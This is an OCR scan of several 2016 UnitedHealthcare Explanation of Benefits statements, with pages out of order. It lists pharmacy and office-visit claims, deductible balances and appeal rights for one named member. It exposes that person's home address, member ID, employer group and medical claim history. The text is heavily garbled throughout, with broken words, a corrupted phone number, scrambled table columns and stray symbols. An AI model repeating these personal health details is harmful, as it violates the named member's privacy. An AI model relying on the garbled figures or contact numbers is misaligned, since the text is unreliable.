SHOW THE TOTAL COST OF THE PRESCRIPTION DRUG OR AMOUNT PAID BY THE PLAN. WE APPLIED THIS AMOUNT TO YOUR PLAN DEDUCTIBLE AND/OR OUT OF POCKET/COINSURANCE MAXIMUM. IF YOU HAVE QUESTIONS RELATED TO THIS PHARMACY CLAIM, PLEASE CONTACT YOUR PHARMACY --DRUG BENEFIT PROGRAM. ________ A review of this benefit detem,ination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no laterthan 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant infom,ation to the appeal address referenced above. You may request copies (free of charge) of infom,ation relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance STD-EOB Page 7 of9 Use this EOB statement as a reference or retain as needed S W0-01540"03•0078811-M0-16032-60311-AFUS 22SYMS UnitedHealthcare 1W A..,._.....,"""­ United HealthCare Services,._Inc. GREENSBORO SERVICE 1..,ENTER PO BOX 740809 February 01, 2016 ATLANTA;. GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 956597681101 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes* Amount Plan Service Billed (-) Discounts (-) 01/29/2016 PRESCRIPTION FB $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 956599983701 Date(s) of Service Type of Service Notes* Amount Billed (-) Plan Discounts (-) Your Plan Paid 0 1/29/2016 PRESCRIPTION DRUGS Claim Total: FB $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 STD-EOB Use this EOB statement as a reference or retain as needed Page 6 of9 SWQ-01S40'03'007863-M0-16032-&l311-AFUS 22SYMS '10 UnitedHealthcare U/A-~°""'""' United HealthCare Services;... Inc. GREENSBORO SERVICE \jENTER February 01, 2016 PO BOX 7 40809 ATLANTA.._ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Oate(s) of Type of Service Notes• Amount Plan Your Plan Service Billed (-) Discounts (-)_ Paid (• ) 01/29/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 ••This total does not reflect any payments/ copays you made atthe time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Oate(s) of Type of Service Notes• Amount Service Billed (-) 01/28/2016 PRESCRIPTION FB $0.00 DRUGS Claim Total: $0.00 Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 956413126601 Plan t','.vour Pfan Discounts (·) ·. , Paid H=) .. I $0.00 $0.00 $0.00 $0.00 Claim Number: 956586941701 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibil" to Provider•• Amount You Deductible (+) Copay (+) Coinsurance (+) l\,on Covered (=) Owe $0.00 $5.87 $0,00 $0.00 $0.00 $5.87 $0.00 $0.00 -This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Patient Account Number: CAR PHARMACY CLM STD-EOB Page 5 of9 Use this EOB statement as a reference or retain as needed S W0-01540"0:Z-007862-M0-16032-60311-AFUS 22SYMS UnitedHealthcarelmA-h4)~ United HealthCare Services;..Inc. GREENSBORO SERVICE i..,ENTER February 01 , 2016 PO BOX 740809 ATLANTA,,, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 956384557201 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider** Date(s) of Type of Service Notes• Amount Plan Your Plan Amount Yoc1 Service BIiied H Discounts (-) Paid (=) Deduc.;tible (+) Cuµay (+) Coinsurance (+) Non Covered (=) Owe 01/28/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 $0.00 $1.82 $0.00 $0.00 $1.82 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider. Pharmacy Claim Number: 956409874101 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes• Amount Plan Your P·lan Service Billed (-) Discounts (-) Paid (=J 01/28/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 STD-EOB Page 4 of 9 Use this EOB statement as a reference or retain as needed S WQ-01540'02"007881-MO-1603Hi0311•AFUS 22SYMS United HealthCare Services;. Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA.., GA 30374-0802 Phone: 1-o00-638-8884 UnitedHealthcare IWA--c:a,...,, 8 "' ~ February 01, 2016 2l ID en Have more questions about your claim? ~ 0 Visit www.myuhc.com 0 0"' 0 for all your claim and benefit information. "' ~ .... Claim Detail for JEFFREY DAMUKAITIS 6 00 ... Patient Account Number: CAR PHARMACY CLM Provider: Pharmacy Claim Number: 956271501301 Your Itemized Res onsibilit to Provider"* Amuunt You • :tour Plan -'. Paid . (;:;) Deductible (.,.) Copay (+) Coinsurance (+) Non Covered (=) Owe Date(s) of Type of Service Notes• Amount Plan Service Billed (-) Discounts (-) 01/26/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS $0.00 $7.00 $0.00 $0.00 $7.00 $0.00 $0.00 $0.00 Claim Total: **This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 956271669401 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes• Amount Plan Your Plan Amount You Service Billed (-) Discounts (-) -Paid I(°'l Deductib,e (+J Copay (.,.) CoinsJrance (+) Non Covered 1=) Owe I I ' 01/26/2016 PRESCRIPTION FB DRUGS $0,00 $0.00 $0.00 Claim Total: $0.00 $0.00 $0.00 $0.00 $7.00 $0.00 $0.00 $7.00 **This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Page 3 of9 STD-EOB S WC-01540'01'0078611-M0-16032-S'.1311-AfUS 22SYMS United HealthCare Services;. Inc. GREENSBORO SERVICE 1.,ENTER February 01, 2016 PO BOX 740809 ATLANTA,,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 956271329401 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibili to Provider"• Date(s) of Type of Servlce Notes* Amount Plan Your Plan Amount You Service Billed (-) Discounts (-) Paid Deductible (+) Copay (+) Coinsurance (+) Non Covered (~) Owe 01/26/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS $0.00 $7.00 $0.00 $0.00Claim Total: $0.00 $0.00 $0.00 $7.00 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 956271372001 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibili to Provider** Date(s) of Type of Service Notes• Amount Plan Y,our Plan Amo1..nt You .. Service Billed (-) Discounts (-) Patd Deductible (+) Copay (+) Coinsurance (+) Non Covered(=} Owe 01/26/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 $0.00 $4.51 $0.00 $0.00 $4.51 DRUGS Clalm Total: $0.00 $0.00 $0,00 $0.00 $4.51 $0.00 $0.00 $4.51 ..This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 2 of9 Use this EOB statement as a reference or retain as needed S WQt 540'01 '007859-t.10-16032-60311-AfUS 22SYMS UnitedHealthcare I ~ AIn-Gnxc, Company United HealthCare Services,,_ Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. 032MEOBSW2002005·00587-03 JEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE LITTLE ELM, TX 75068 February 01, 2016 Member/patient lnfonnatjon Member/Patient: JEFFREY OAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201 057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located ;on the following page(s). $0.00 Amount-Billed · :, . . .. · •·lt : ·.: . . . .. Tflis is the total amount ihat yoor provider bille<ffor the services that were provfded to yo~.:_,.,. ·: I . . ;:_::~ !{{((-,; $0.00 Plan·oi~counts . . --... if• .. · · ...:· . 1 • • • • • .--· • :. • • ·.: Yciur:p~fl negotiate:S di~OO!;!nts with provide,-s:~~,save you money.:This amount may ~Js;9JncJucte ·•:.,. :serJi~ '­P'at you:a~ ~-~ ~~nsl~e_to p_ay.<)L:--::_;:~ .·: · .·.. _. _·>\ :: .. __ ;.,. :<:.:._;,~~~~/\·./..,::..:,,c • . : ·, ·, $0.00 , ·Your Plan·Pald i_, · : •. ;·: 1 -. ' . -. .. I\;·~-;!' · . · · · :.,·: :+=-: .. :,--.1 _ This is'ttl_e portion of the amount billed that-wa~P.:i.l~lby your plan.. ,, ,­_,:;;~/' .... STD-EOB Page 1 of 9 Use this EOB statement as a referencel or retain as needed 00000089:299$1500 S WN-01509'02'007574-M0-16330-60311,AFUS 12SYCP a UnitedHealthcare I/IA-a..,,~ United HealthCare Services.,_Inc. GREENSBORO SERVICE 1..;ENTER PO BOX 740809 November 25, 2016 ATLANTA.,, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infonnation. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining Annual (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Balance Relationship: EE IN NElWORK -·:; ,l' $1,400.00 Deductible $700.00 $700.00 Mel Out of Pocket $10,000.00 $5,000.00 $5,000.00 Out of Pocket $5,000.00 $5,000.00 Met I Deductible $700.00 $700.00 OUT _OF N~TWORK -' -=--­ ,O_l[f QF,J,IE-lWORK l $2,800.00 $0.00 $2,800.00 Deductible Deductible $1,400.00 $577.00 $823.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefrt maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 4of 4 000001126600679 S WN.01500'02'007573-M0-16330-6031 1-~US 12SYCP United HealthCare Services,,_ Inc. November 25, 2016 GREENSBORO SERVICE vENTER PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infom,ation. Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more infom,ation on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. Tfieinformat1on required-for registration is on-your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed S WN-01509"01 "007572-M0-16330-B0311-AFUS 12SYCP UnitedHealthcareIi»·-~~ United HealthCare Services;,. Inc. GREENSBORO SERVICE "'ENTER PO BOX 740809 November 25, 2016 ATLANTA,,, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: D MEYER Claim Number: 623725645901 Patient Account Number: DAMUKI0O0O Your Itemized Res onsibilit to Provider*" Date(s) of Type of Service Notes• Amount Plan " uqPlan1 Amount You Service Billed (·) Discounts (-) j:;_:_ Pa~d (=) Ueduct1ble {+) Copay {+) Comst.rance (+) Nun Cuv~red (=) 10/27/2016 OFFICE VISITS D1 $140.00 $77.75 $62.25 10/27/2016 MEDICAL D1 $125.00 $55.25 $69.75 ~ ' ... SERVICES Claim Total: $265.00 $133.00 $132.00 $0.00 $0.00 $0.00 $0.00 $0.00 ••This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* D1 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE. MAY INCLUDE VVI-IAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. Ifyou request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. ff your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000001126600679 IS 'IIIN-01509"01 '007571-M0-16330-80311·AFUS 12SYCP I UnitedHealthcare ~ Altillldfl&Slh Group ColTI)'""/ United HealthCare Services,1. Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. JEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE LITTLE ELM, TX 75068 November 25, 2016 Member/Patient Infonnation Member/Patient: JEFFREY DAMUKA1TIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summ1ary Detailed claim information is located on the following page(s). -:""·Dollar Amounf"'­.;.'}'...:,_..._.__,._.:.;..: .-~-, ;:,.-::;::..--~ ::.. .. ~·· ,· , ' • I~-~}t . : ·:'·$265.00 C>Eiscriptiorr~ ---~ ;;~..'.~-,.-.-.. .....,..:...-:.:-..~:::;.·--;-. Amount Bilhtd-~,, ,: ,,, -· · ­-·:-.~-::::. · i--· ., ---­.. ·· ·,. ·-• ; ·. ,-: r· -~· 0 ~s is the total"amd~nt thaty-our provider,b~ed ~rthe :services t~arwere prov«t~'-t~ you·; _. \ -;-~,'~-: · .:.$133.00 -~­ Plan Discounts .. . _ 1 • : , =­" ·· , : ·; Yourplan n~~~tes discou-nts with provide~ tolsave you money. ­,:;~s .amount rri~y aso lncl~l;fe'l ·,··: -~_ervices that yo~=ar, ~t ~osl_bte _to_~t ~-­I ! .-,:/!,, · . ,, ,_,,lt>· · ·:;·/\·, -­•i:;.l~\}:1:.1 . $132.00 Your Plan Pai~:.­_ . .t. ·.. ,_~-:'"· -· :;.:i;•-'.1 ' • • .. _ •• This is the portion ofthe amount tilled that was STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 000001126600679 I SIIVH-09712'03'047541-M0-16053-60311-AFUS 22SYMS Unit.edHealthcare'1J •-0D4'""'­ United HealthCare Services;,.lnc. GREENSBORO SERVICE 1,.,ENTERPO BOX 740809 February 22, 2016 ATLANTA.,, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infonnation. Definitions of Key Terms Deductible: The deductible is the f1Xed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year. The dates your plan benefit maximums are applicable. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Page 5 of 5 Use this EOB statement as a reference or retain as needed S WH-00712'02'047540-M0-1eo53-e0311•AFUS 22SYMS UnitedHealthcare IJ,.__c.,,.,.,, United HealthCare Services;.. Inc. GREENSBORO SERVICE 1..,ENTER February 22, 2016 PO BOX 740809 ATLANTA,,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 JEFFREY Relationship: EE IN:NETWORK :1 . ­- Annual Amount (-)Applied to Date ("')Remaining Balance FAMILY 1N N_!:,TWORK1Deductible Annual (-)Applied to ("')Remaining Amount Date Balance ,·. ~-:· ;;. ~.,-~-1~ ~ $1,400.00 $662.11 $737.89 Deductible $700.00 $662.11 $37.89 Out of Pocket $10·,000.00 $2,098.54 $7,.901.46 Out of Pocket $5,000.00 $2,098.54 $2,901 .46 :our OF:NE:lWORK ,._..:, "-'' OUT OF NETWORK Deductible $0.00 $2,800.00 Deductible $1 ,400.00 $413.00 $987.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of Copay: A fee you pay each time you see a provider, receive a service, or fill a prescription. this EOB statement. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 5 S WH-0971 :nl2il47539-M0-100S3-«l311-AFUS 22SYMS United HealthCare Services;.. Inc. February 22, 2016 GREENSBORO SERVICE 1.,ENTER PO BOX 740809 ATLANTA,,,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request c.opies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone;-1-800-252-3439_ Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). STD-EOB Page 3 of 5 Use this EOB statement as a reference or retain as needed S WH-09712"01'047S38-M0-1605HI0311·AFUS 22SYMS Unit.edHealthcare llJA-~ra.,,.,, United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER February 22, 2016 PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your daim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958024392401 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes• Amount Plan Your Plan Service Billed (-) Discounts (-) Paid 02/13/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 958024395501 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes* Amount Plan Your Plan Arnount You Service Billed (-) Discounts (-) Paid (=) Deduct10,e (+) Copay (.,.) Coinsurance (+) No11 Covered(=} Owe Please wait for a provider bill before making a payment. Notes* FB -THIS CLAIM WAS PROCESSED BY THE PHARMACY DRUG BENEFIT PROGRAM. THIS ONLY SHOWS THE AMOUNT YOU PAID FOR THIS PRESCRIPTION. IT DOES NOT SHOW THE TOTAL COST OF THE PRESCRIPTION DRUG OR AMOUNT PAID BY THE PLAN. '\NE APPLIED THIS AMOUNT TO YOUR PLAN DEDUCTIBLE AND/OR OUT OF POCKET/COINSURANCE MAXIMUM. IF YOU HAVE QUESTIONS RELATED TO THIS PHARMACY CLAIM, PLEASE CONTACT YOUR PHARMACY DRUG BENEFIT PROGRAM. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt STD·EOB Use this EOB statement as a reference or retain as needed Page 2 of 5 000000911825101 I S WH-09712-01 "047537,M0,16053,60311,AFUS 21SYMS United HealthCare Services, Inc. UnitedHealthcar~I~ A lhllldHealth ~~ GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. DPS$$$PKG JEFFREY DAMUKAITIS 2201 WILLOW CREEK DR LITTLE ELM TX 75068-4917 11I1 1 11111•1•1•111II I11I111IIIh1111•11111111111111 •111IIII111 ••1 February 22, 2016 Member/Patient Information Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Sum~ ary Detailed claim infor111ation is located bn the following page(s). I L • I '" ;;.,,_ $0.00 This is the-tot_al amount that your provider billed~or'the services that were provided to you: ,. ;.: ~~ Plan Discounts t · .. · · · · ·,. J{).00 Your pla·(rnegotia~~ disco~nts with provklers tci,~,!}'8 you money. ·i:t.'s arriou~t _may 'af~9~~1;{1,1de _?: -~ervl~ ,~ ·at.you a!~·no!-responslble to pay:/.~~;'-~:-. . ::.> .· :·. .Your ~ran Paid .· , .. ,·1 ,. ., ~ . . r $0.00 ' This is the portion.or the amount billed that was;paid by your p(an. ·· ·:·.: ,-.-:: -. ~-. . STD-EOB Page 1 of 5 Use this EOB statement as a reference or retain as needed 000000911825101 S WO.06089'02"029'430-MO-16357-60311-AFUS 22SYCP UnitedHealthcare 1JJA--C.,,..,, ,c. A:NTER December 22, 2016 .,02 .4 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Account Summary .ary of Deductible and Out of Pocket , Year: 2016 Annual (-)Applied to (=)Remaining .,cFFREY Amount Date Balance Relationship: EE IN NETWORK . : ·· I.., .. · . . Deductible $700.00 l'fo7j.oo Met Out of Pocket $5,000.00 s!l.000.00 Met O,UT QF Nl:,W9RK Deductible $1,400.00 $577.00 $823.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Annual (-)Applied to (=)Remaining FAMILY Amount Date Balance INNETWORK , ·•. i ~; • -.. ·­ Deductible $1,400.00 $700.00 $700.00 Out of Pocket $10,000.00 $5,000.00 $5,000.00 pu:r OF NE_TWORK -._ .1 Deductible $2,800.00 $0.00 $2,800.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 000001147367494 S WO.06089'02"0:!9429-MO-16357-EOJ11-AFUS 22SYCP UnitedHealthcare ~ A-Go.c,C:0,,.,.,, United HealthCare Services ....inc. December 22, 2016 GREENSBORO SERVICE 1..,ENTER PO BOX 740809 ATLANTA.a. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims. check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, includina medical ID r~rrlc. 'if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about se contact your customer care professional at the number shown at the top of this Statement. I )ent or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in 4'._ ""C Cl) I ., -C ~ 3 ~ ' Page 3 of 4 Use this EOB statement as a reference or retain as needed 1 I S WO-Ofl089'01"0::!9428-MO-18357-81311-AFUS 22SYCP .IC. .,ENTER Unit.edHealthcaredl A-°"'4>""'­ December 22, 2016 ,112 ,4 Have more questions about your claim? Visit www.myuhc.com for all your daim and benefit information. ,etail for JEFFREY DAMUKAITIS ,,: P FLAVILL Claim Number: 627504624201 Patient Account Number: 002299-38488 Your Itemized Res onsibllit to Provider** Date(s) of Type of Service Notes* Amount Plan f vourPlan Amount Yo1.1 Service Billed (-) Discounts (-)' · ~aid -J<=) Deductible (T) Copay l+) Coinsurance (+) Non Covered(=) Owe 12/13/2016 OFFICE VISITS D1 $300.00 $143.32 $156.68 Claim Total: $300.00 $143.32 $156.68 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* 01 -THE DISCOUNT SHOV\,t,J IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEAL TH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU O\NE. MAY INCLUDE VVHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER \NE.BSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERJSA if all required reviews of your claim have been completed. You or your authorized representative, such 